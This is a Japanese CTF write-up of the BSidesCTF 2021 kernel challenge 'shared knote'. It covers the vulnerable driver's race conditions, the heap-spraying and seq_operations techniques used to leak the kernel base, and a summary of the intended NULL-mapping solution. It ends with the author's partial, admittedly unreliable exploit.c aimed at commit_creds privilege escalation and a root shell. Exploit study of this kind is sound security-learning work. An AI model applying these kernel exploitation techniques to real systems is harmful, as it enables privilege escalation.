イントロ
いつぞや開催されたBSidesCTF 2021。その kernel 問題shared knote。解けなかったけど少し触ったので途中までの状況を供養しとく。だって触ったのに、なんも書かないし解けもしないの、悲しいじゃん???? なお、公式から既に完全な writeup が出ている。zer0pts 主催の CTF、一瞬で公式 writeup がでていてすごい。すごい一方で、早すぎる公式完全 writeup はコミュニティ writeup が出るのを妨げる気もしているので、個人的には 1 日くらいは方針だけちょい出しして、1 日後くらいに完全版を出してほしいという気持ちも無きにしもあらず。 アディスアベバ。
static
static.sh 1Linux version 5.14.3 (ptr@medium-pwn) (x86_64-buildroot-linux-uclibc-gcc.br_real (Buildroot 2021.08-804-g03034691
2
3
4#!/bin/sh
5timeout --foreground 300 qemu-system-x86_64 \
6 -m 64M -smp 2 -nographic -no-reboot \
7 -kernel bzImage \
8 -initrd rootfs.cpio \
9 -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
10 -cpu kvm64 -monitor /dev/null \
11 -net nic,model=virtio -net user
12
13static struct file_operations module_fops =
14 {
15 .owner = THIS_MODULE,
16 .llseek = module_llseek,
17 .read = module_read,
18 .write = module_write,
19 .open = module_open,
20 .release = module_close,
21 };
一般的なキャラクタデバイスドライバが実装されている。ドライバ全体で一つのノートを共有する感じになっている。ノートは refcnt で管理されており、open/close で増減される。
怪しいと思ったとこ
ココ(critical region がとられてない)と、
module_open.c 1static int module_open(struct inode *inode, struct file *file)
2{
3 unsigned long old = __atomic_fetch_add(&sknote.refcnt, 1, __ATOMIC_SEQ_CST);
4 if (old == 0) {
5
6 /* First one to open the note */
7 if (!(sknote.noteptr = kzalloc(sizeof(note_t), GFP_KERNEL)))
8 return -ENOMEM;
9 if (!(sknote.noteptr->data = kzalloc(MAX_NOTE_SIZE, GFP_KERNEL)))
10 return -ENOMEM;
11
12 } else if (old >= 0xff) {
13
14 /* Too many references */
15 __atomic_sub_fetch(&sknote.refcnt, 1, __ATOMIC_SEQ_CST);
16 return -EBUSY;
17
18 }
19
20 return 0;
21}
ココ。
module_write.c 1static ssize_t module_write(struct file *file,
2 const char __user *buf, size_t count,
3 loff_t *f_pos)
4{
5 note_t *note;
6 ssize_t ecount;
7
8 note = (note_t*)sknote.noteptr;
9
10 // XXX
11 /* Security checks to prevent out-of-bounds write */
12 if (count < 0)
13 return -EINVAL; // Invalid count
14 if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
15 return -EINVAL; // Too big count
16 if (ecount > MAX_NOTE_SIZE)
17 count = MAX_NOTE_SIZE - file->f_pos; // Update count
18
19 /* Copy data from user-land */
20 if (copy_from_user(¬e->data[file->f_pos], buf, count))
21 return -EFAULT; // Invalid user pointer
22
23 /* Update current position and length */
24 *f_pos += count;
25 if (*f_pos > note->length)
26 note->length = *f_pos;
27
28 return count;
29}
前者は、refcnt はロックとられてるのに関数内に critical region がとられていないためレースが起きそう。そして、これが実際に想定解だったっぽい。close は以下のようになっていて、free 後は NULL が入る。
module_close.c 1static int module_close(struct inode *inode, struct file *file)
2{
3 // XXX
4 if (__atomic_add_fetch(&sknote.refcnt, -1, __ATOMIC_SEQ_CST) == 0) {
5 /* We can free the note as nobody references it */
6 kfree(sknote.noteptr->data);
7 kfree(sknote.noteptr);
8 sknote.noteptr = NULL;
9 }
10
11 return 0;
12}
本番では NULL 入るか〜〜、あちゃ〜〜〜と言ってシカトしていたが、なんか今回の kernel は address0 に userland がマップすることが出来たらしく、NULL をいれる==userland を指させるということが出来たらしい。前も見たことある気がするけど、いざ本番で見ると、気づかないもんですね。取り敢えず本番はこっちはシカトしました。
vuln: race of lseek/write (invalid f_pos use)
先程の write を見ると分かる通り、モジュール内でf_pos
とfile->f_pos
の両方を使ってしまっている。そもそも、write
の呼び出し時にはksys_write()
でfile->f_pos
をスタックに積んでおり、そのスタックのアドレスをwrite
の第 3 引数f_pos
として渡している。write
の呼び出し後にこのスタックの値を確認して、初めてfile->f_pos
に下記戻すことになる。そして、モジュール内でfile->f_pos
は触ってはいけない(少なくとも僕はこの認識でいる)。唯一の例外がllseek
であり、この中では直接file->f_pos
をいじることができる。
1ssize_t ksys_write(unsigned int fd, const char __user *buf, size_t count)
2{
3 struct fd f = fdget_pos(fd);
4 ssize_t ret = -EBADF;
5
6 if (f.file) {
7 loff_t pos, *ppos = file_ppos(f.file);
8 if (ppos) {
9 pos = *ppos;
10 ppos = &pos;
11 }
12 ret = vfs_write(f.file, buf, count, ppos);
13 if (ret >= 0 && ppos)
14 f.file->f_pos = pos;
15 fdput_pos(f);
16 }
17
18 return ret;
19}
さて、先程の write を見ると、前半でfile->f_pos
を、後半でf_pos
を使っている。
1 note = (note_t*)sknote.noteptr;
2
3 // XXX
4 /* Security checks to prevent out-of-bounds write */
5 if (count < 0)
6 return -EINVAL; // Invalid count
7 if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
8 return -EINVAL; // Too big count
9 if (ecount > MAX_NOTE_SIZE)
10 count = MAX_NOTE_SIZE - file->f_pos; // Update count
11
12 /* Copy data from user-land */
13 if (copy_from_user(¬e->data[file->f_pos], buf, count)) // XXX writeで止めてる時にcloseしたらどうなる??
14 return -EFAULT; // Invalid user pointer
15
16 /* Update current position and length */
17 *f_pos += count;
18 if (*f_pos > note->length)
19 note->length = *f_pos;
ここで、以下のようにすることで race を起こしてnote->length
をMAX_NOTE_SIZE
よりも任意に大きくすることが出来る。
Thread A:
- llseek(0, END)
- write(MAX_NOTE_SIZE)
Thread B:
- llseek(0, CUR)
上手いことllseek(END, 0) -> write呼び出し -> llseek(SET, 0) -> write前半のチェック
という流れになれば、write
の第 3 引数をMAX_NOTE_SIZE
にしたままwrite
の諸々のチェックをパスしてノートサイズを増やすことが出来る。
これで OOB(read)の完成。
kbase leak
ノートサイズは 0x400 であり、あんま良い感じの構造体はただでは隣接しなさそう。ということで、seq_operations
が入る 0x20 スラブと 0x400 スラブを大量に確保して枯渇させ、新たにページを確保させて隣接させる。
1 // heap spray
2 puts("[.] heap spraying...");
3 for (int jx = 0; jx != 0x100; ++jx) {
4 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
5 if (qid == -1)
6 {
7 errExit("msgget");
8 }
9 struct _msgbuf400 msgbuf = {.mtype = 1};
10 memset(msgbuf.mtext, 'A', 0x400);
11 KMALLOC(qid, msgbuf, 0x10);
12 }
13 puts("[.] END heap spraying");
14
15 // init
16 if ((fd = open(DEV_PATH, O_RDWR)) < 0)
17 {
18 errExit("open");
19 }
20 puts("[.] opened dev file.");
21
22 // alloc seq_operations next to NOTE
23 puts("[.] seq spraying...");
24 #define SEQSIZE 0x300
25 int seq_fds[SEQSIZE];
26 for (int ix = 0; ix != SEQSIZE; ++ix)
27 {
28 if((seq_fds[ix] = open("/proc/self/stat", O_RDONLY)) == -1) {
29 errExit("open seq");
30 }
31 }
32 puts("[.] END seq spraying...");
これで、先程の OOB(read)をすると、厳密には完全に隣接こそシていないもののseq_operations
のスラブを探し出すことができ、kbase が leak できる。
OOB write
RIP を取るためにseq_operations
を書き換えたい。すんなり行くかと思えば、write
内の以下のせいでめっちゃめんどくさくなった。
1 if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
2 return -EINVAL; // Too big count
3 if (ecount > MAX_NOTE_SIZE)
4 count = MAX_NOTE_SIZE - file->f_pos; // Update count
これのせいで、f_pos
が大きいと count が hoge る。よってこれを回避するためにまた race をした。このチェックだけパスするようにllseek
を噛ませたが、read
の race が秒で終わったのに対し、こちらは 10 秒待っても終わるときと終わらないときがあって、しかも書き換えたあとの値が意味分からん値になっていた。
詰みました。
戦いの果て
一応この後も考えたけど、SMEP/SMAP なしなら shellcode いれて終わりじゃ〜んと思ってうきうきでいたら、KPTI 有効なのを忘れていた。ROP すればなんとかなってたのかなぁと思いつつも、OOB(write)がうまく言っていなかったこともあり、ここで断念した。
想定解
上に述べた、free の際に NULL をいれるのだが、今回の kernel は 0 アドレスに userland がmmap
できる設定だったらしく、NULL を入れる==userland を指させるという意味に出来たらしい。SMAP 無効だし。
これで簡単にポインタを書き換えて AAW/AAR。KASLR-bypass のためにめっちゃ探索して VDSO を探す。この探索は、copy_from_user
がメモリチェックで不正を検出した場合はクラッシュとかではなく単純にエラーを返してくれるので出来ること。偉い。あとは単純にmodprobe_path
。
偉いね。
exploit (to kbase leak + insufficient write)
一応貼っておこ。後で完全版出すかも知れないし、公式のが完全なので出さないかも知れない。
exploit.c
1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <linux/prctl.h>
19#include <sys/syscall.h>
20#include <sys/ipc.h>
21#include <sys/msg.h>
22#include <sys/prctl.h>
23#include <sys/ioctl.h>
24#include <sys/mman.h>
25#include <sys/types.h>
26#include <sys/xattr.h>
27#include <sys/socket.h>
28#include <sys/uio.h>
29#include <sys/shm.h>
30
31// commands
32#define DEV_PATH "/dev/sknote" // the path the device is placed
33#define MAX_NOTE_SIZE 0x400
34
35// constants
36#define PAGE 0x1000
37#define FAULT_ADDR 0xdead0000
38#define FAULT_OFFSET PAGE
39#define MMAP_SIZE 4 * PAGE
40#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
41// (END constants)
42
43// utils
44#define WAIT getc(stdin);
45#define ulong unsigned long
46#define scu static const unsigned long
47#define NULL (void *)0
48#define errExit(msg) \
49 do \
50 { \
51 perror(msg); \
52 exit(EXIT_FAILURE); \
53 } while (0)
54#define KMALLOC(qid, msgbuf, N) \
55 for (int ix = 0; ix != N; ++ix) \
56 { \
57 if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
58 errExit("KMALLOC"); \
59 }
60ulong user_cs, user_ss, user_sp, user_rflags;
61struct pt_regs
62{
63 ulong r15;
64 ulong r14;
65 ulong r13;
66 ulong r12;
67 ulong bp;
68 ulong bx;
69 ulong r11;
70 ulong r10;
71 ulong r9;
72 ulong r8;
73 ulong ax;
74 ulong cx;
75 ulong dx;
76 ulong si;
77 ulong di;
78 ulong orig_ax;
79 ulong ip;
80 ulong cs;
81 ulong flags;
82 ulong sp;
83 ulong ss;
84};
85void print_regs(struct pt_regs *regs)
86{
87 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
88 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
89 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
90 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
91 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
92}
93void NIRUGIRI(void)
94{
95 char *argv[] = {"/bin/sh", NULL};
96 char *envp[] = {NULL};
97 execve("/bin/sh", argv, envp);
98}
99// should compile with -masm=intel
100static void save_state(void)
101{
102 asm(
103 "movq %0, %%cs\n"
104 "movq %1, %%ss\n"
105 "movq %2, %%rsp\n"
106 "pushfq\n"
107 "popq %3\n"
108 : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
109 :
110 : "memory");
111}
112
113unsigned long (*rooter_pkc)(unsigned long) = 0;
114unsigned long (*rooter_commit_creds)(unsigned long) = 0;
115
116int shellcode_is_called = 0;
117
118static void shellcode(void)
119{
120 //asm(
121 // "xor rdi, rdi\n"
122 // "mov rbx, QWORD PTR [rsp+0x50]\n"
123 // "sub rbx, 0x244566\n"
124 // "mov rcx, rbx\n"
125 // "call rcx\n"
126 // "mov rdi, rax\n"
127 // "sub rbx, 0x470\n"
128 // "call rbx\n"
129 // "add rsp, 0x20\n"
130 // "pop rbx\n"
131 // "pop r12\n"
132 // "pop r13\n"
133 // "pop r14\n"
134 // "pop r15\n"
135 // "pop rbp\n"
136 // "ret\n");
137 //save_state();
138
139 //shellcode_is_called = 1;
140 //rooter_commit_creds(rooter_pkc(0));
141}
142// (END utils)
143
144// globals
145const unsigned PSIZE = 10;
146int fd = 0;
147const ulong ADDRBASE = 0x10000;
148int write_permission = 0;
149long target_offset = 0;
150typedef struct
151{
152 int whoami;
153 long uffd;
154} thrinfo;
155char EMPTYNOTE[PAGE];
156// (END globals)
157
158ulong sk_seek_abs(unsigned abs)
159{
160 assert(fd != 0);
161 ulong hoge = lseek(fd, abs, SEEK_SET);
162 if (hoge == -1)
163 {
164 errExit("lseek");
165 }
166 return hoge;
167}
168
169void sk_seek_zero(void)
170{
171 sk_seek_abs(0);
172}
173
174ulong sk_seek_end(void)
175{
176 assert(fd != 0);
177 return lseek(fd, 0, SEEK_END);
178}
179
180int SHOULDEND = 0;
181
182#define REPEAT 80
183
184static void *writer(void *arg)
185{
186 //int whoami = *(int*)arg;
187 //printf("[.] writer inited: %d\n", whoami);
188
189 assert(fd != 0);
190 ulong cur;
191 char buf[PAGE] = {0};
192 ulong old = MAX_NOTE_SIZE;
193 while (1 == 1)
194 {
195 cur = sk_seek_end();
196 if(cur != old) {
197 printf("[+] extended to 0x%lx : %lx\n", cur, cur / MAX_NOTE_SIZE);
198 old = cur;
199 }
200 if (cur > MAX_NOTE_SIZE * REPEAT)
201 {
202 printf("[SEEK_END] %lx\n", cur);
203 puts("!!!!!!!!!!!!!!!!!!!!!!!!!!");
204 SHOULDEND = 1;
205 return 0;
206 }
207 int ret = write(fd, buf, MAX_NOTE_SIZE);
208 }
209 printf("[.] writer finished\n");
210}
211
212static void *zeroer(void *arg)
213{
214 assert(fd != 0);
215 while (SHOULDEND == 0)
216 {
217 sk_seek_zero();
218 }
219 return 0;
220}
221
222static void *targeter(void *arg) {
223 while (SHOULDEND == 0) {
224 sk_seek_abs(target_offset);
225 }
226 printf("[.] targeter finished\n");
227}
228
229static void *writer2(void *arg) {
230 ulong cur;
231 ulong value = ((ulong)shellcode) + 4;
232 ulong written_value[4] = {value, value, value, value};
233 ulong old = MAX_NOTE_SIZE;
234 while (SHOULDEND == 0)
235 {
236 sk_seek_zero();
237 int ret = write(fd, written_value, 8 * 4);
238 }
239 printf("[.] writer2 finished\n");
240}
241
242void print_curious(char *buf, size_t size)
243{
244 for (int ix = 0; ix != size / 8; ++ix)
245 {
246 long hoge = *((ulong *)buf + ix);
247 if (hoge != 0)
248 {
249 printf("[+%x] %lx\n", ix * 8, hoge);
250 }
251 }
252}
253
254unsigned long find_signature(char *buf, size_t size) {
255 unsigned signatures[4] = {0xa0, 0xc0, 0xb0, 0x20};
256 int step = 0;
257 for (int ix = 0; ix != size / 8; ++ix)
258 {
259 long hoge = *((ulong *)buf + ix);
260 if((hoge&0xFF) == signatures[step]) {
261 ++step;
262 } else {
263 step = 0;
264 }
265 if(step == 4) {
266 return (ix - 3) * 8;
267 }
268 }
269 return 0;
270}
271
272struct _msgbuf400
273{
274 long mtype;
275 char mtext[0x400];
276};
277
278int main(int argc, char *argv[])
279{
280 printf("[.] shellcode @ %p\n", shellcode);
281 pthread_t writer_thr, zeroer_thr;
282 memset(EMPTYNOTE, 'A', MAX_NOTE_SIZE * 2);
283
284 // heap spray
285 puts("[.] heap spraying...");
286 for (int jx = 0; jx != 0x100; ++jx) {
287 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
288 if (qid == -1)
289 {
290 errExit("msgget");
291 }
292 struct _msgbuf400 msgbuf = {.mtype = 1};
293 memset(msgbuf.mtext, 'A', 0x400);
294 KMALLOC(qid, msgbuf, 0x10);
295 }
296 puts("[.] END heap spraying");
297
298 // init
299 if ((fd = open(DEV_PATH, O_RDWR)) < 0)
300 {
301 errExit("open");
302 }
303 puts("[.] opened dev file.");
304
305 // alloc seq_operations next to NOTE
306 puts("[.] seq spraying...");
307 #define SEQSIZE 0x300
308 int seq_fds[SEQSIZE];
309 for (int ix = 0; ix != SEQSIZE; ++ix)
310 {
311 if((seq_fds[ix] = open("/proc/self/stat", O_RDONLY)) == -1) {
312 errExit("open seq");
313 }
314 }
315 puts("[.] END seq spraying...");
316
317 // first write
318 puts("[.] first write");
319 assert(write(fd, EMPTYNOTE, MAX_NOTE_SIZE) != -1);
320
321 // init threads
322 puts("[.] writer thread initing...");
323 assert(pthread_create(&writer_thr, NULL, writer, (void *)0) == 0);
324 puts("[.] zeroer thread initing...");
325 assert(pthread_create(&zeroer_thr, NULL, zeroer, (void *)0) == 0);
326
327 pthread_join(writer_thr, NULL);
328
329 // leek
330 sleep(1);
331 char buf[REPEAT * PAGE] = {0};
332 sk_seek_zero();
333 if (read(fd, buf, REPEAT * MAX_NOTE_SIZE) == -1)
334 {
335 errExit("read");
336 }
337
338 //print_curious(buf, REPEAT * MAX_NOTE_SIZE);
339 target_offset = find_signature(buf, REPEAT * MAX_NOTE_SIZE);
340 if (target_offset == 0) {
341 errExit("target not found...");
342 }
343 printf("[!] target found @ offset 0x%lx\n", target_offset);
344 print_curious(buf + target_offset, 8 * 8);
345
346 ulong single_start = *(ulong *)(buf + target_offset);
347 ulong kernbase = single_start - 0x16e1a0;
348 ulong pkc = (0xffffffff810709f0 - 0xffffffff81000000) + kernbase;
349 ulong commit_creds = (0xffffffff81070860 - 0xffffffff81000000) + kernbase;
350 printf("[!] single_start: 0x%lx\n", single_start);
351 printf("[!] kernbase: 0x%lx\n", kernbase);
352 printf("[!] pkc: 0x%lx\n", pkc);
353 printf("[!] commit_creds: 0x%lx\n", commit_creds);
354
355 rooter_pkc = pkc;
356 rooter_commit_creds = commit_creds;
357
358 // overwrite
359 printf("[+] overwrite as %lx\n", shellcode);
360 ulong value = (ulong)shellcode;
361 SHOULDEND = 0;
362
363 puts("[.] writer thread initing...");
364 assert(pthread_create(&writer_thr, NULL, writer2, (void *)0) == 0);
365 puts("[.] targeter thread initing...");
366 assert(pthread_create(&zeroer_thr, NULL, targeter, (void *)0) == 0);
367 puts("[...] waiting lack...");
368 sleep(3);
369 SHOULDEND = 1;
370
371 sk_seek_abs(target_offset);
372 long nowvictim = 0;
373 assert(read(fd, &nowvictim, 8) != -1);
374 if(nowvictim == single_start) {
375 printf("[-] failed to overwrite...\n");
376 errExit(0);
377 } else {
378 printf("[!!] overwrite success!! : 0x%lx\n", nowvictim);
379 }
380
381 //print_curious(buf, MAX_NOTE_SIZE * REPEAT);
382
383
384 //ulong cur = sk_seek_abs(target_offset);
385 //printf("[+] cur: %lx\n", cur);
386 //for (int ix = 0; ix != 4; ++ix)
387 //{
388 // if(write(fd, &value, 8) == -1) {
389 // puts("fail");
390 // WAIT;
391 // errExit("write");
392 // }
393 //}
394
395 // invoke shellcode
396 puts("[.] reading seqs");
397 char hoge[0x10];
398 for (int ix = 0; ix != SEQSIZE; ++ix)
399 {
400 if(read(seq_fds[ix], hoge, 1) == -1) {
401 errExit("seq read");
402 }
403 }
404
405 if(shellcode_is_called == 0) {
406 errExit("shellcode is not called");
407 }
408
409 puts("[+] executing NIRUGIRI...");
410 NIRUGIRI();
411
412 // end of life
413 puts("[ ] END exploit.");
414
415 return 0;
416}
アウトロ
犬飼いたいんですが、大学生で犬買うの、金銭面的にと言うか、時間的にきつそうですよね。。。
参考
- 公式 writeup: https://hackmd.io/@ptr-yudai/BkO-gQEDt
- ニルギリ: https://youtu.be/yvUvamhYPHw